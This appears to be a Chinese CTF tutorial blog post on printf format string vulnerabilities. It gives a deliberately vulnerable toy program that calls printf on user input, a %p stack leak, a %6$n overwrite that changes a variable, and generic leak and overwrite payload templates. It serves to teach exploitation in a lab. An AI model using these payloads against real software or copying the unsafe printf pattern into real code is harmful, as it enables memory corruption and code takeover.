pwn题:格式化输出字符串漏洞

不可视境界线最后变动于:2023年5月31日 早上

pwn:格式化字符串漏洞

CTF——PWN的基础漏洞类型。

1 printf函数的格式化字符串漏洞

1.1 printf函数

printf()函数是格式化输出函数, 一般用于向准则输出设备按规定式样输出消息。
函数的原型为:

1
int printf(const char *format, ...);

printf()函数的调用格式为:

1
printf("<格式化字符串>", <参量表>);

其中格式化字符串包括两部分内容: 一部分是正常字符, 这些字符将按原样输出; 另一部分是格式化规定字符, 以”%”开始, 后跟一个或几个规定字符,用来确定输出内容格式。参量表是需要输出的一系列参数, 其个数必须与格式化字符串所说明的输出参数个数一样多, 各参数之间用”,”分开, 且顺序一一对应, 否则将会出现意想不到的错误。

printf()函数的大家族:

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>
int printf(const char *format, ...);
int fprintf(FILE *stream, const char *format, ...);
int dprintf(int fd, const char *format, ...);
int sprintf(char *str, const char *format, ...);
int snprintf(char *str, size_t size, const char *format, ...);

#include <stdarg.h>
int vprintf(const char *format, va_list ap);
int vfprintf(FILE *stream, const char *format, va_list ap);
int vdprintf(int fd, const char *format, va_list ap);
int vsprintf(char *str, const char *format, va_list ap);
int vsnprintf(char *str, size_t size, const char *format, va_lis t ap);
  • fprintf()按照格式字符串的内容将输出写入流中。三个参数为流、格式字符串和变参列表。
  • printf()等同于fprintf(),但是它假定输出流为stdout。
  • sprintf()等同于fprintf(),但是输出不是写入流而是写入数组。在写入的字符串末尾必须添加一个空字符。
  • snprintf()等同于sprintf(),但是它指定了可写入字符的最大值size。当size大于零时,输出字符超过第size-1的部分会被舍弃而 不会写入数组中,在写入数组的字符串末尾会添加一个空字符。
  • dprintf()等同于fprintf(),但是它输出不是流而是一个文件描述符fd 。
  • vfprintf()、vprintf()、vsprintf()、vsnprintf()、vdprintf()分别与上面的函数对应,只是它们将变参列表换成了va_list类型的参数。

1.2 格式字符串format

格式字符串是由普通字符(ordinary character,包括 % )和转换规则(conversion specification)构成的字符序列。普通字符被原封不动地复制到输出流中。转换规则根据与实参对应的转换指示符对其进行转换,然后将结果写入输出流中。
一个转换规则有可选部分和必需部分组成:

%[ 参数 ][ 标志 ][ 宽度 ][ .精度 ][ 长度 ] 转换指示符
  • (必需)转换指示符:
字符 描述
d,i 有符号十进制数值int%d%i 对于输出是同义;但对于scanf()输入二者不同,其中%i在输入值有前缀0x0时,分别表示16进制或8进制的值。如果指定了精度,则输出的数字不足时在左侧补0。默认精度为1。精度为0且值为0,则输出为空。
u 十进制unsigned int。如果指定了精度,则输出的数字不足时在左侧补0。默认精度为1。精度为0且值为0,则输出为空。
f,F double型输出10进制定点表示。f F 差异是表示无穷与NaN时,f输出inf, infinitynanF 输出INF, INFINITYNAN。小数点后的数字位数等于精度,最后一位数字四舍五入。精度默认为6。如果精度为0且没有#标记,则不出现小数点。小数点左侧至少一位数字。
e,E double值,输出形式为10进制的([ - ]d.ddd e [ + / - ]ddd). E版本使用的指数符号为E(而不是e)。指数部分至少包含2位数字,如果值为0,则指数部分为00。Windows系统,指数部分至少为3位数字,例如1.5e002,也可用Microsoft版的运行时函数_set_output_format修改。小数点前存在1位数字。小数点后的数字位数等于精度。精度默认为6。如果精度为0且没有#标记,则不出现小数点。
g,G double型数值,精度定义为全部有效数字位数。当指数部分在闭区间 [-4,精度] 内,输出为定点形式;否则输出为指数浮点形式。g使用小写字母,G使用大写字母。小数点右侧的尾数0不被显示;显示小数点仅当输出的小数部分不为0。
x,X 16进制unsigned intx使用小写字母;X使用大写字母。如果指定了精度,则输出的数字不足时在左侧补0。默认精度为1。精度为0且值为0,则输出为空。
o 8进制unsigned int。如果指定了精度,则输出的数字不足时在左侧补0。默认精度为1。精度为0且值为0,则输出为空。
s 如果没有用l标志,输出null结尾字符串直到精度规定的上限;如果没有指定精度,则输出所有字节。如果用了l标志,则对应函数参数指向wchar_t型的数组,输出时把每个宽字符转化为多字节字符,相当于调用wcrtomb 函数。
c 如果没有用l标志,把int参数转为unsigned char型输出;如果用了l标志,把wint_t参数转为包含两个元素的 chart_t数组,其中第一个元素包含要输出的字符,第二个元素为null宽字符。
p void*型,输出对应变量的值。 printf("%p", a)用地址的格式打印变量a的值, printf(“%p”, &a) 打印变量a所在的地址。
a,A double型的16进制表示,[−]0xh.hhhh p±d。其中指数部分为10进制表示的形式。例如:1025.010输出为0x1.004000p+10。a使用小写字母,A`使用大写字母。
n 不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。
% % 字面值,不接受任何除了参数以外的部分。
  • (可选)参数
字符 描述
n$ n是用这个格式说明符显示第几个参数;这使得参数可以输出多次,使用多个格式说明符,以不同的顺序输出。如果任意一个占位符使用了参数 ,则其他所有占位符必须也使用参数 。例:printf("%2$d %2$#x; %1$d %1$#x",16,17) 产生17 0x11; 16 0x10

剩下的略(有用再填)。

1.3 在pwn中的应用

看上去好像说,printf这个类型的函数只能输出啊。然而实际上,他有一个有趣的转换指示符,那就是:

%n:不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。

我们测试一下:

1
2
3
4
5
6
7
8
9
10
//printfn.c
#include <stdio.h>
int a;
int main() {
a = 1;
printf("a = %d\n",a);
printf("1234567890%n\n",&a);
printf("a = %d\n",a);
return 0;
}

运行结果:

1
2
3
4
5
6
$ gcc printfn.c -o printfn
$ ./printfn
a = 1
1234567890
a = 10
$

你看,仅用标准输出语句就成功改写了a的值!

说到这里已经很清楚了,我们可以通过修改参数的值,来改写该值所对应的地址的值,使程序执行发生错误。

比如以下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//pwnit.c
#include <stdio.h>
char buf[80];
int main() {
int a = 5;
int *p = &a;
scanf("%s",buf);
printf(buf);
printf("\n%x\n",a);
if(a == 0x10) {
printf("you pwn me!\n");
}
return 0;
}

我们编译运行一下:

1
2
3
4
5
6
7
8
9
10
$ gcc pwnit.c -m32 -o pwnit
pwnit.c: In function ‘main’:
pwnit.c:8:9: warning: format not a string literal and no format arguments [-Wformat-security]
printf(buf);
^
$ ./pwnit
abcde
abcde
5
$

输入abcde似乎根本没用哦。。但是我们可以输入一个字符串看看,int a = 5这个变量声明在哪:

输入字符串:aaaa-%p-%p-%p-%p-%p-%p-%p-%p

1
2
3
4
5
$ ./pwnit
aaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p
aaaa-0x804a060-0xf75bca60-0x80485db-0x1-0x5-0xfff84494-0x4f3eea00-0xf77413dc-0xfff844c0
5
$

这个方法的重点在于:printf函数的参数是先被压入栈中后获取栈中的值或者地址作为参数的!当初没有想明白这个问题,困惑了好久。所以,我们发现,第5个参数的值是0x5,说明我们只要把第6个参数(int* p)改成0x10就可以了!

输入字符串:aaaaaaaaaaaaaaaa%6$n

1
2
3
4
5
6
$ ./pwnit
aaaaaaaaaaaaaaaa%6$n
aaaaaaaaaaaaaaaa
10
you pwn me!
$

成功!

后来的总结

  • 简单的leak

%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p

  • leak指定位置
    • addr%k$s. 如果是64位的那就把参数放到第六个之后的位置.
  • 修改内存
    • ...[overwrite addr]....%[overwrite offset]$n

https://ciphersaw.me/ctf-wiki/pwn/linux/fmtstr/fmtstr_exploit/#_8